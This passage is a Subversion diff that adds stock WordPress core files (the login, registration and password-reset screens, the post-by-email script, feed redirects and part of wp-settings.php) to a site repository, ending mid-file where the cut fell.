+	$new_pass = wp_generate_password();
+
+	do_action('password_reset', $user, $new_pass);
+
+	wp_set_password($new_pass, $user->ID);
+	update_usermeta($user->ID, 'default_password_nag', true); //Set up the Password change nag.
+	$message  = sprintf(__('Username: %s'), $user->user_login) . "\r\n";
+	$message .= sprintf(__('Password: %s'), $new_pass) . "\r\n";
+	$message .= site_url('wp-login.php', 'login') . "\r\n";
+
+	$title = sprintf(__('[%s] Your new password'), get_option('blogname'));
+
+	$title = apply_filters('password_reset_title', $title);
+	$message = apply_filters('password_reset_message', $message, $new_pass);
+
+	if ( $message && !wp_mail($user->user_email, $title, $message) )
+  		die('<p>' . __('The e-mail could not be sent.') . "<br />\n" . __('Possible reason: your host may have disabled the mail() function...') . '</p>');
+
+	wp_password_change_notification($user);
+
+	return true;
+}
+
+/**
+ * Handles registering a new user.
+ *
+ * @param string $user_login User's username for logging in
+ * @param string $user_email User's email address to send password and add
+ * @return int|WP_Error Either user's ID or error on failure.
+ */
+function register_new_user($user_login, $user_email) {
+	$errors = new WP_Error();
+
+	$user_login = sanitize_user( $user_login );
+	$user_email = apply_filters( 'user_registration_email', $user_email );
+
+	// Check the username
+	if ( $user_login == '' )
+		$errors->add('empty_username', __('<strong>ERROR</strong>: Please enter a username.'));
+	elseif ( !validate_username( $user_login ) ) {
+		$errors->add('invalid_username', __('<strong>ERROR</strong>: This username is invalid.  Please enter a valid username.'));
+		$user_login = '';
+	} elseif ( username_exists( $user_login ) )
+		$errors->add('username_exists', __('<strong>ERROR</strong>: This username is already registered, please choose another one.'));
+
+	// Check the e-mail address
+	if ($user_email == '') {
+		$errors->add('empty_email', __('<strong>ERROR</strong>: Please type your e-mail address.'));
+	} elseif ( !is_email( $user_email ) ) {
+		$errors->add('invalid_email', __('<strong>ERROR</strong>: The email address isn&#8217;t correct.'));
+		$user_email = '';
+	} elseif ( email_exists( $user_email ) )
+		$errors->add('email_exists', __('<strong>ERROR</strong>: This email is already registered, please choose another one.'));
+
+	do_action('register_post', $user_login, $user_email, $errors);
+
+	$errors = apply_filters( 'registration_errors', $errors );
+
+	if ( $errors->get_error_code() )
+		return $errors;
+
+	$user_pass = wp_generate_password();
+	$user_id = wp_create_user( $user_login, $user_pass, $user_email );
+	if ( !$user_id ) {
+		$errors->add('registerfail', sprintf(__('<strong>ERROR</strong>: Couldn&#8217;t register you... please contact the <a href="mailto:%s">webmaster</a> !'), get_option('admin_email')));
+		return $errors;
+	}
+
+	wp_new_user_notification($user_id, $user_pass);
+
+	return $user_id;
+}
+
+//
+// Main
+//
+
+$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
+$errors = new WP_Error();
+
+if ( isset($_GET['key']) )
+	$action = 'resetpass';
+
+// validate action so as to default to the login screen
+if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
+	$action = 'login';
+
+nocache_headers();
+
+header('Content-Type: '.get_bloginfo('html_type').'; charset='.get_bloginfo('charset'));
+
+if ( defined('RELOCATE') ) { // Move flag is set
+	if ( isset( $_SERVER['PATH_INFO'] ) && ($_SERVER['PATH_INFO'] != $_SERVER['PHP_SELF']) )
+		$_SERVER['PHP_SELF'] = str_replace( $_SERVER['PATH_INFO'], '', $_SERVER['PHP_SELF'] );
+
+	$schema = ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on' ) ? 'https://' : 'http://';
+	if ( dirname($schema . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']) != get_option('siteurl') )
+		update_option('siteurl', dirname($schema . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']) );
+}
+
+//Set a cookie now to see if they are supported by the browser.
+setcookie(TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN);
+if ( SITECOOKIEPATH != COOKIEPATH )
+	setcookie(TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN);
+
+// allow plugins to override the default actions, and to add extra actions if they want
+do_action('login_form_' . $action);
+
+$http_post = ('POST' == $_SERVER['REQUEST_METHOD']);
+switch ($action) {
+
+case 'logout' :
+	check_admin_referer('log-out');
+	wp_logout();
+
+	$redirect_to = 'wp-login.php?loggedout=true';
+	if ( isset( $_REQUEST['redirect_to'] ) )
+		$redirect_to = $_REQUEST['redirect_to'];
+
+	wp_safe_redirect($redirect_to);
+	exit();
+
+break;
+
+case 'lostpassword' :
+case 'retrievepassword' :
+	if ( $http_post ) {
+		$errors = retrieve_password();
+		if ( !is_wp_error($errors) ) {
+			wp_redirect('wp-login.php?checkemail=confirm');
+			exit();
+		}
+	}
+
+	if ( isset($_GET['error']) && 'invalidkey' == $_GET['error'] ) $errors->add('invalidkey', __('Sorry, that key does not appear to be valid.'));
+
+	do_action('lost_password');
+	login_header(__('Lost Password'), '<p class="message">' . __('Please enter your username or e-mail address. You will receive a new password via e-mail.') . '</p>', $errors);
+
+	$user_login = isset($_POST['user_login']) ? stripslashes($_POST['user_login']) : '';
+
+?>
+
+<form name="lostpasswordform" id="lostpasswordform" action="<?php echo site_url('wp-login.php?action=lostpassword', 'login_post') ?>" method="post">
+	<p>
+		<label><?php _e('Username or E-mail:') ?><br />
+		<input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr($user_login); ?>" size="20" tabindex="10" /></label>
+	</p>
+<?php do_action('lostpassword_form'); ?>
+	<p class="submit"><input type="submit" name="wp-submit" id="wp-submit" value="<?php esc_attr_e('Get New Password'); ?>" tabindex="100" /></p>
+</form>
+
+<p id="nav">
+<?php if (get_option('users_can_register')) : ?>
+<a href="<?php echo site_url('wp-login.php', 'login') ?>"><?php _e('Log in') ?></a> |
+<a href="<?php echo site_url('wp-login.php?action=register', 'login') ?>"><?php _e('Register') ?></a>
+<?php else : ?>
+<a href="<?php echo site_url('wp-login.php', 'login') ?>"><?php _e('Log in') ?></a>
+<?php endif; ?>
+</p>
+
+</div>
+
+<p id="backtoblog"><a href="<?php bloginfo('url'); ?>/" title="<?php _e('Are you lost?') ?>"><?php printf(__('&larr; Back to %s'), get_bloginfo('title', 'display' )); ?></a></p>
+
+<script type="text/javascript">
+try{document.getElementById('user_login').focus();}catch(e){}
+</script>
+</body>
+</html>
+<?php
+break;
+
+case 'resetpass' :
+case 'rp' :
+	$errors = reset_password($_GET['key']);
+
+	if ( ! is_wp_error($errors) ) {
+		wp_redirect('wp-login.php?checkemail=newpass');
+		exit();
+	}
+
+	wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
+	exit();
+
+break;
+
+case 'register' :
+	if ( !get_option('users_can_register') ) {
+		wp_redirect('wp-login.php?registration=disabled');
+		exit();
+	}
+
+	$user_login = '';
+	$user_email = '';
+	if ( $http_post ) {
+		require_once( ABSPATH . WPINC . '/registration.php');
+
+		$user_login = $_POST['user_login'];
+		$user_email = $_POST['user_email'];
+		$errors = register_new_user($user_login, $user_email);
+		if ( !is_wp_error($errors) ) {
+			wp_redirect('wp-login.php?checkemail=registered');
+			exit();
+		}
+	}
+
+	login_header(__('Registration Form'), '<p class="message register">' . __('Register For This Site') . '</p>', $errors);
+?>
+
+<form name="registerform" id="registerform" action="<?php echo site_url('wp-login.php?action=register', 'login_post') ?>" method="post">
+	<p>
+		<label><?php _e('Username') ?><br />
+		<input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr(stripslashes($user_login)); ?>" size="20" tabindex="10" /></label>
+	</p>
+	<p>
+		<label><?php _e('E-mail') ?><br />
+		<input type="text" name="user_email" id="user_email" class="input" value="<?php echo esc_attr(stripslashes($user_email)); ?>" size="25" tabindex="20" /></label>
+	</p>
+<?php do_action('register_form'); ?>
+	<p id="reg_passmail"><?php _e('A password will be e-mailed to you.') ?></p>
+	<br class="clear" />
+	<p class="submit"><input type="submit" name="wp-submit" id="wp-submit" value="<?php esc_attr_e('Register'); ?>" tabindex="100" /></p>
+</form>
+
+<p id="nav">
+<a href="<?php echo site_url('wp-login.php', 'login') ?>"><?php _e('Log in') ?></a> |
+<a href="<?php echo site_url('wp-login.php?action=lostpassword', 'login') ?>" title="<?php _e('Password Lost and Found') ?>"><?php _e('Lost your password?') ?></a>
+</p>
+
+</div>
+
+<p id="backtoblog"><a href="<?php bloginfo('url'); ?>/" title="<?php _e('Are you lost?') ?>"><?php printf(__('&larr; Back to %s'), get_bloginfo('title', 'display' )); ?></a></p>
+
+<script type="text/javascript">
+try{document.getElementById('user_login').focus();}catch(e){}
+</script>
+</body>
+</html>
+<?php
+break;
+
+case 'login' :
+default:
+	$secure_cookie = '';
+
+	// If the user wants ssl but the session is not ssl, force a secure cookie.
+	if ( !empty($_POST['log']) && !force_ssl_admin() ) {
+		$user_name = sanitize_user($_POST['log']);
+		if ( $user = get_userdatabylogin($user_name) ) {
+			if ( get_user_option('use_ssl', $user->ID) ) {
+				$secure_cookie = true;
+				force_ssl_admin(true);
+			}
+		}
+	}
+
+	if ( isset( $_REQUEST['redirect_to'] ) ) {
+		$redirect_to = $_REQUEST['redirect_to'];
+		// Redirect to https if user wants ssl
+		if ( $secure_cookie && false !== strpos($redirect_to, 'wp-admin') )
+			$redirect_to = preg_replace('|^http://|', 'https://', $redirect_to);
+	} else {
+		$redirect_to = admin_url();
+	}
+
+	if ( !$secure_cookie && is_ssl() && force_ssl_login() && !force_ssl_admin() && ( 0 !== strpos($redirect_to, 'https') ) && ( 0 === strpos($redirect_to, 'http') ) )
+		$secure_cookie = false;
+
+	$user = wp_signon('', $secure_cookie);
+
+	$redirect_to = apply_filters('login_redirect', $redirect_to, isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '', $user);
+
+	if ( !is_wp_error($user) ) {
+		// If the user can't edit posts, send them to their profile.
+		if ( !$user->has_cap('edit_posts') && ( empty( $redirect_to ) || $redirect_to == 'wp-admin/' || $redirect_to == admin_url() ) )
+			$redirect_to = admin_url('profile.php');
+		wp_safe_redirect($redirect_to);
+		exit();
+	}
+
+	$errors = $user;
+	// Clear errors if loggedout is set.
+	if ( !empty($_GET['loggedout']) )
+		$errors = new WP_Error();
+
+	// If cookies are disabled we can't log in even with a valid user+pass
+	if ( isset($_POST['testcookie']) && empty($_COOKIE[TEST_COOKIE]) )
+		$errors->add('test_cookie', __("<strong>ERROR</strong>: Cookies are blocked or not supported by your browser. You must <a href='http://www.google.com/cookies.html'>enable cookies</a> to use WordPress."));
+
+	// Some parts of this script use the main login form to display a message
+	if		( isset($_GET['loggedout']) && TRUE == $_GET['loggedout'] )			$errors->add('loggedout', __('You are now logged out.'), 'message');
+	elseif	( isset($_GET['registration']) && 'disabled' == $_GET['registration'] )	$errors->add('registerdisabled', __('User registration is currently not allowed.'));
+	elseif	( isset($_GET['checkemail']) && 'confirm' == $_GET['checkemail'] )	$errors->add('confirm', __('Check your e-mail for the confirmation link.'), 'message');
+	elseif	( isset($_GET['checkemail']) && 'newpass' == $_GET['checkemail'] )	$errors->add('newpass', __('Check your e-mail for your new password.'), 'message');
+	elseif	( isset($_GET['checkemail']) && 'registered' == $_GET['checkemail'] )	$errors->add('registered', __('Registration complete. Please check your e-mail.'), 'message');
+
+	login_header(__('Log In'), '', $errors);
+
+	if ( isset($_POST['log']) )
+		$user_login = ( 'incorrect_password' == $errors->get_error_code() || 'empty_password' == $errors->get_error_code() ) ? esc_attr(stripslashes($_POST['log'])) : '';
+?>
+
+<?php if ( !isset($_GET['checkemail']) || !in_array( $_GET['checkemail'], array('confirm', 'newpass') ) ) : ?>
+<form name="loginform" id="loginform" action="<?php echo site_url('wp-login.php', 'login_post') ?>" method="post">
+	<p>
+		<label><?php _e('Username') ?><br />
+		<input type="text" name="log" id="user_login" class="input" value="<?php echo esc_attr($user_login); ?>" size="20" tabindex="10" /></label>
+	</p>
+	<p>
+		<label><?php _e('Password') ?><br />
+		<input type="password" name="pwd" id="user_pass" class="input" value="" size="20" tabindex="20" /></label>
+	</p>
+<?php do_action('login_form'); ?>
+	<p class="forgetmenot"><label><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90" /> <?php esc_attr_e('Remember Me'); ?></label></p>
+	<p class="submit">
+		<input type="submit" name="wp-submit" id="wp-submit" value="<?php esc_attr_e('Log In'); ?>" tabindex="100" />
+		<input type="hidden" name="redirect_to" value="<?php echo esc_attr($redirect_to); ?>" />
+		<input type="hidden" name="testcookie" value="1" />
+	</p>
+</form>
+<?php endif; ?>
+
+<p id="nav">
+<?php if ( isset($_GET['checkemail']) && in_array( $_GET['checkemail'], array('confirm', 'newpass') ) ) : ?>
+<?php elseif (get_option('users_can_register')) : ?>
+<a href="<?php echo site_url('wp-login.php?action=register', 'login') ?>"><?php _e('Register') ?></a> |
+<a href="<?php echo site_url('wp-login.php?action=lostpassword', 'login') ?>" title="<?php _e('Password Lost and Found') ?>"><?php _e('Lost your password?') ?></a>
+<?php else : ?>
+<a href="<?php echo site_url('wp-login.php?action=lostpassword', 'login') ?>" title="<?php _e('Password Lost and Found') ?>"><?php _e('Lost your password?') ?></a>
+<?php endif; ?>
+</p>
+
+</div>
+
+<p id="backtoblog"><a href="<?php bloginfo('url'); ?>/" title="<?php _e('Are you lost?') ?>"><?php printf(__('&larr; Back to %s'), get_bloginfo('title', 'display' )); ?></a></p>
+
+<script type="text/javascript">
+<?php if ( $user_login ) { ?>
+setTimeout( function(){ try{
+d = document.getElementById('user_pass');
+d.value = '';
+d.focus();
+} catch(e){}
+}, 200);
+<?php } else { ?>
+try{document.getElementById('user_login').focus();}catch(e){}
+<?php } ?>
+</script>
+</body>
+</html>
+<?php
+
+break;
+} // end action switch
+?>
Index: /trunk/www.guidonia.net/wp/wp-mail.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-mail.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-mail.php	(revision 44)
@@ -0,0 +1,213 @@
+<?php
+/**
+ * Gets the email message from the user's mailbox to add as
+ * a WordPress post. Mailbox connection information must be
+ * configured under Settings > Writing
+ *
+ * @package WordPress
+ */
+
+/** Make sure that the WordPress bootstrap has run before continuing. */
+require(dirname(__FILE__) . '/wp-load.php');
+
+/** Get the POP3 class with which to access the mailbox. */
+require_once( ABSPATH . WPINC . '/class-pop3.php' );
+
+$time_difference = get_option('gmt_offset') * 3600;
+
+$phone_delim = '::';
+
+$pop3 = new POP3();
+
+if ( ! $pop3->connect(get_option('mailserver_url'), get_option('mailserver_port') ) ||
+	! $pop3->user(get_option('mailserver_login')) ||
+	( ! $count = $pop3->pass(get_option('mailserver_pass')) ) ) {
+		$pop3->quit();
+		wp_die( ( 0 === $count ) ? __('There doesn&#8217;t seem to be any new mail.') : esc_html($pop3->ERROR) );
+}
+
+for ( $i = 1; $i <= $count; $i++ ) {
+
+	$message = $pop3->get($i);
+
+	$bodysignal = false;
+	$boundary = '';
+	$charset = '';
+	$content = '';
+	$content_type = '';
+	$content_transfer_encoding = '';
+	$post_author = 1;
+	$author_found = false;
+	$dmonths = array('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec');
+	foreach ($message as $line) {
+		// body signal
+		if ( strlen($line) < 3 )
+			$bodysignal = true;
+		if ( $bodysignal ) {
+			$content .= $line;
+		} else {
+			if ( preg_match('/Content-Type: /i', $line) ) {
+				$content_type = trim($line);
+				$content_type = substr($content_type, 14, strlen($content_type) - 14);
+				$content_type = explode(';', $content_type);
+				if ( ! empty( $content_type[1] ) ) {
+					$charset = explode('=', $content_type[1]);
+					$charset = ( ! empty( $charset[1] ) ) ? trim($charset[1]) : '';
+				}
+				$content_type = $content_type[0];
+			}
+			if ( preg_match('/Content-Transfer-Encoding: /i', $line) ) {
+				$content_transfer_encoding = trim($line);
+				$content_transfer_encoding = substr($content_transfer_encoding, 27, strlen($content_transfer_encoding) - 27);
+				$content_transfer_encoding = explode(';', $content_transfer_encoding);
+				$content_transfer_encoding = $content_transfer_encoding[0];
+			}
+			if ( ( $content_type == 'multipart/alternative' ) && ( false !== strpos($line, 'boundary="') ) && ( '' == $boundary ) ) {
+				$boundary = trim($line);
+				$boundary = explode('"', $boundary);
+				$boundary = $boundary[1];
+			}
+			if (preg_match('/Subject: /i', $line)) {
+				$subject = trim($line);
+				$subject = substr($subject, 9, strlen($subject) - 9);
+				// Captures any text in the subject before $phone_delim as the subject
+				if ( function_exists('iconv_mime_decode') ) {
+					$subject = iconv_mime_decode($subject, 2, get_option('blog_charset'));
+				} else {
+					$subject = wp_iso_descrambler($subject);
+				}
+				$subject = explode($phone_delim, $subject);
+				$subject = $subject[0];
+			}
+
+			// Set the author using the email address (From or Reply-To, the last used)
+			// otherwise use the site admin
+			if ( preg_match('/(From|Reply-To): /', $line) )  {
+				if ( preg_match('|[a-z0-9_.-]+@[a-z0-9_.-]+(?!.*<)|i', $line, $matches) )
+					$author = $matches[0];
+				else
+					$author = trim($line);
+				$author = sanitize_email($author);
+				if ( is_email($author) ) {
+					echo '<p>' . sprintf(__('Author is %s'), $author) . '</p>';
+					$userdata = get_user_by_email($author);
+					if ( empty($userdata) ) {
+						$author_found = false;
+					} else {
+						$post_author = $userdata->ID;
+						$author_found = true;
+					}
+				} else {
+					$author_found = false;
+				}
+			}
+
+			if (preg_match('/Date: /i', $line)) { // of the form '20 Mar 2002 20:32:37'
+				$ddate = trim($line);
+				$ddate = str_replace('Date: ', '', $ddate);
+				if (strpos($ddate, ',')) {
+					$ddate = trim(substr($ddate, strpos($ddate, ',') + 1, strlen($ddate)));
+				}
+				$date_arr = explode(' ', $ddate);
+				$date_time = explode(':', $date_arr[3]);
+
+				$ddate_H = $date_time[0];
+				$ddate_i = $date_time[1];
+				$ddate_s = $date_time[2];
+
+				$ddate_m = $date_arr[1];
+				$ddate_d = $date_arr[0];
+				$ddate_Y = $date_arr[2];
+				for ( $j = 0; $j < 12; $j++ ) {
+					if ( $ddate_m == $dmonths[$j] ) {
+						$ddate_m = $j+1;
+					}
+				}
+
+				$time_zn = intval($date_arr[4]) * 36;
+				$ddate_U = gmmktime($ddate_H, $ddate_i, $ddate_s, $ddate_m, $ddate_d, $ddate_Y);
+				$ddate_U = $ddate_U - $time_zn;
+				$post_date = gmdate('Y-m-d H:i:s', $ddate_U + $time_difference);
+				$post_date_gmt = gmdate('Y-m-d H:i:s', $ddate_U);
+			}
+		}
+	}
+
+	// Set $post_status based on $author_found and on author's publish_posts capability
+	if ( $author_found ) {
+		$user = new WP_User($post_author);
+		$post_status = ( $user->has_cap('publish_posts') ) ? 'publish' : 'pending';
+	} else {
+		// Author not found in DB, set status to pending.  Author already set to admin.
+		$post_status = 'pending';
+	}
+
+	$subject = trim($subject);
+
+	if ( $content_type == 'multipart/alternative' ) {
+		$content = explode('--'.$boundary, $content);
+		$content = $content[2];
+		// match case-insensitive content-transfer-encoding
+		if ( preg_match( '/Content-Transfer-Encoding: quoted-printable/i', $content, $delim) ) {
+			$content = explode($delim[0], $content);
+			$content = $content[1];
+		}
+		$content = strip_tags($content, '<img><p><br><i><b><u><em><strong><strike><font><span><div>');
+	}
+	$content = trim($content);
+
+	//Give Post-By-Email extending plugins full access to the content
+	//Either the raw content or the content of the last quoted-printable section
+	$content = apply_filters('wp_mail_original_content', $content);
+
+	if ( false !== stripos($content_transfer_encoding, "quoted-printable") ) {
+		$content = quoted_printable_decode($content);
+	}
+
+	if ( function_exists('iconv') && ! empty( $charset ) ) {
+		$content = iconv($charset, get_option('blog_charset'), $content);
+	}
+
+	// Captures any text in the body after $phone_delim as the body
+	$content = explode($phone_delim, $content);
+	$content = empty( $content[1] ) ? $content[0] : $content[1];
+
+	$content = trim($content);
+
+	$post_content = apply_filters('phone_content', $content);
+
+	$post_title = xmlrpc_getposttitle($content);
+
+	if ($post_title == '') $post_title = $subject;
+
+	$post_category = array(get_option('default_email_category'));
+
+	$post_data = compact('post_content','post_title','post_date','post_date_gmt','post_author','post_category', 'post_status');
+	$post_data = add_magic_quotes($post_data);
+
+	$post_ID = wp_insert_post($post_data);
+	if ( is_wp_error( $post_ID ) )
+		echo "\n" . $post_ID->get_error_message();
+
+	// We couldn't post, for whatever reason. Better move forward to the next email.
+	if ( empty( $post_ID ) )
+		continue;
+
+	do_action('publish_phone', $post_ID);
+
+	echo "\n<p>" . sprintf(__('<strong>Author:</strong> %s'), esc_html($post_author)) . '</p>';
+	echo "\n<p>" . sprintf(__('<strong>Posted title:</strong> %s'), esc_html($post_title)) . '</p>';
+
+	if(!$pop3->delete($i)) {
+		echo '<p>' . sprintf(__('Oops: %s'), esc_html($pop3->ERROR)) . '</p>';
+		$pop3->reset();
+		exit;
+	} else {
+		echo '<p>' . sprintf(__('Mission complete.  Message <strong>%s</strong> deleted.'), $i) . '</p>';
+	}
+
+}
+
+$pop3->quit();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-pass.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-pass.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-pass.php	(revision 44)
@@ -0,0 +1,19 @@
+<?php
+/**
+ * Creates the password cookie and redirects back to where the
+ * visitor was before.
+ *
+ * @package WordPress
+ */
+
+/** Make sure that the WordPress bootstrap has run before continuing. */
+require( dirname(__FILE__) . '/wp-load.php');
+
+if ( get_magic_quotes_gpc() )
+	$_POST['post_password'] = stripslashes($_POST['post_password']);
+
+// 10 days
+setcookie('wp-postpass_' . COOKIEHASH, $_POST['post_password'], time() + 864000, COOKIEPATH);
+
+wp_safe_redirect(wp_get_referer());
+?>
Index: /trunk/www.guidonia.net/wp/wp-rdf.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-rdf.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-rdf.php	(revision 44)
@@ -0,0 +1,12 @@
+<?php
+/**
+ * Redirects to the RDF feed
+ * This file is deprecated and only exists for backwards compatibility
+ *
+ * @package WordPress
+ */
+
+require( './wp-load.php' );
+wp_redirect( get_bloginfo( 'rdf_url' ), 301 );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-register.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-register.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-register.php	(revision 44)
@@ -0,0 +1,15 @@
+<?php
+/**
+ * Used to be the page which displayed the registration form.
+ *
+ * This file is no longer used in WordPress and is
+ * deprecated.
+ *
+ * @package WordPress
+ * @deprecated Use wp_register() to create a registration link instead
+ */
+
+require('./wp-load.php');
+wp_redirect('wp-login.php?action=register');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-rss.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-rss.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-rss.php	(revision 44)
@@ -0,0 +1,12 @@
+<?php
+/**
+ * Redirects to the RSS feed
+ * This file is deprecated and only exists for backwards compatibility
+ *
+ * @package WordPress
+ */
+
+require( './wp-load.php' );
+wp_redirect( get_bloginfo( 'rss_url' ), 301 );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-rss2.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-rss2.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-rss2.php	(revision 44)
@@ -0,0 +1,12 @@
+<?php
+/**
+ * Redirects to the RSS2 feed
+ * This file is deprecated and only exists for backwards compatibility
+ *
+ * @package WordPress
+ */
+
+require( './wp-load.php' );
+wp_redirect( get_bloginfo( 'rss2_url' ), 301 );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-settings.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-settings.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-settings.php	(revision 44)
@@ -0,0 +1,691 @@
+<?php
+/**
+ * Used to setup and fix common variables and include
+ * the WordPress procedural and class library.
+ *
+ * You should not have to change this file and allows
+ * for some configuration in wp-config.php.
+ *
+ * @package WordPress
+ */
+
+if ( !defined('WP_MEMORY_LIMIT') )
+	define('WP_MEMORY_LIMIT', '32M');
+
+if ( function_exists('memory_get_usage') && ( (int) @ini_get('memory_limit') < abs(intval(WP_MEMORY_LIMIT)) ) )
+	@ini_set('memory_limit', WP_MEMORY_LIMIT);
+
+set_magic_quotes_runtime(0);
+@ini_set('magic_quotes_sybase', 0);
+
+/**
+ * Turn register globals off.
+ *
+ * @access private
+ * @since 2.1.0
+ * @return null Will return null if register_globals PHP directive was disabled
+ */
+function wp_unregister_GLOBALS() {
+	if ( !ini_get('register_globals') )
+		return;
+
+	if ( isset($_REQUEST['GLOBALS']) )
+		die('GLOBALS overwrite attempt detected');
+
+	// Variables that shouldn't be unset
+	$noUnset = array('GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', 'table_prefix');
+
+	$input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array());
+	foreach ( $input as $k => $v )
+		if ( !in_array($k, $noUnset) && isset($GLOBALS[$k]) ) {
+			$GLOBALS[$k] = NULL;
+			unset($GLOBALS[$k]);
+		}
+}
+
+wp_unregister_GLOBALS();
+
+unset( $wp_filter, $cache_lastcommentmodified, $cache_lastpostdate );
+
+// Force REQUEST to be GET + POST.  If SERVER, COOKIE, or ENV are needed, use those superglobals directly.
+$_REQUEST = array_merge($_GET, $_POST);
+
+/**
+ * The $blog_id global, which you can change in the config allows you to create a simple
+ * multiple blog installation using just one WordPress and changing $blog_id around.
+ *
+ * @global int $blog_id
+ * @since 2.0.0
+ */
+if ( ! isset($blog_id) )
+	$blog_id = 1;
+
+// Fix for IIS when running with PHP ISAPI
+if ( empty( $_SERVER['REQUEST_URI'] ) || ( php_sapi_name() != 'cgi-fcgi' && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) {
+
+	// IIS Mod-Rewrite
+	if (isset($_SERVER['HTTP_X_ORIGINAL_URL'])) {
+		$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL'];
+	}
+	// IIS Isapi_Rewrite
+	else if (isset($_SERVER['HTTP_X_REWRITE_URL'])) {
+		$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL'];
+	}
+	else
+	{
+		// Use ORIG_PATH_INFO if there is no PATH_INFO
+		if ( !isset($_SERVER['PATH_INFO']) && isset($_SERVER['ORIG_PATH_INFO']) )
+			$_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO'];
+
+		// Some IIS + PHP configurations puts the script-name in the path-info (No need to append it twice)
+		if ( isset($_SERVER['PATH_INFO']) ) {
+			if ( $_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] )
+				$_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO'];
+			else
+				$_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO'];
+		}
+
+		// Append the query string if it exists and isn't null
+		if (isset($_SERVER['QUERY_STRING']) && !empty($_SERVER['QUERY_STRING'])) {
+			$_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];
+		}
+	}
+}
+
+// Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests
+if ( isset($_SERVER['SCRIPT_FILENAME']) && ( strpos($_SERVER['SCRIPT_FILENAME'], 'php.cgi') == strlen($_SERVER['SCRIPT_FILENAME']) - 7 ) )
+	$_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED'];
+
+// Fix for Dreamhost and other PHP as CGI hosts
+if (strpos($_SERVER['SCRIPT_NAME'], 'php.cgi') !== false)
+	unset($_SERVER['PATH_INFO']);
+
+// Fix empty PHP_SELF
+$PHP_SELF = $_SERVER['PHP_SELF'];
+if ( empty($PHP_SELF) )
+	$_SERVER['PHP_SELF'] = $PHP_SELF = preg_replace("/(\?.*)?$/",'',$_SERVER["REQUEST_URI"]);
+
+if ( version_compare( '4.3', phpversion(), '>' ) ) {
+	die( sprintf( /*WP_I18N_OLD_PHP*/'Il server utilizzato sta utilizzando PHP versione %s ma WordPress richiede almeno la versione 4.3'/*/WP_I18N_OLD_PHP*/, phpversion() ) );
+}
+
+if ( !defined('WP_CONTENT_DIR') )
+	define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); // no trailing slash, full paths only - WP_CONTENT_URL is defined further down
+
+if ( file_exists(ABSPATH . '.maintenance') && !defined('WP_INSTALLING') ) {
+	include(ABSPATH . '.maintenance');
+	// If the $upgrading timestamp is older than 10 minutes, don't die.
+	if ( ( time() - $upgrading ) < 600 ) {
+		if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) {
+			require_once( WP_CONTENT_DIR . '/maintenance.php' );
+			die();
+		}
+
+		$protocol = $_SERVER["SERVER_PROTOCOL"];
+		if ( 'HTTP/1.1' != $protocol && 'HTTP/1.0' != $protocol )
+			$protocol = 'HTTP/1.0';
+		header( "$protocol 503 Service Unavailable", true, 503 );
+		header( 'Content-Type: text/html; charset=utf-8' );
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title>Maintenance</title>
+
+</head>
+<body>
+	<h1>Briefly unavailable for scheduled maintenance. Check back in a minute.</h1>
+</body>
+</html>
+<?php
+		die();
+	}
+}
+
+if ( !extension_loaded('mysql') && !file_exists(WP_CONTENT_DIR . '/db.php') )
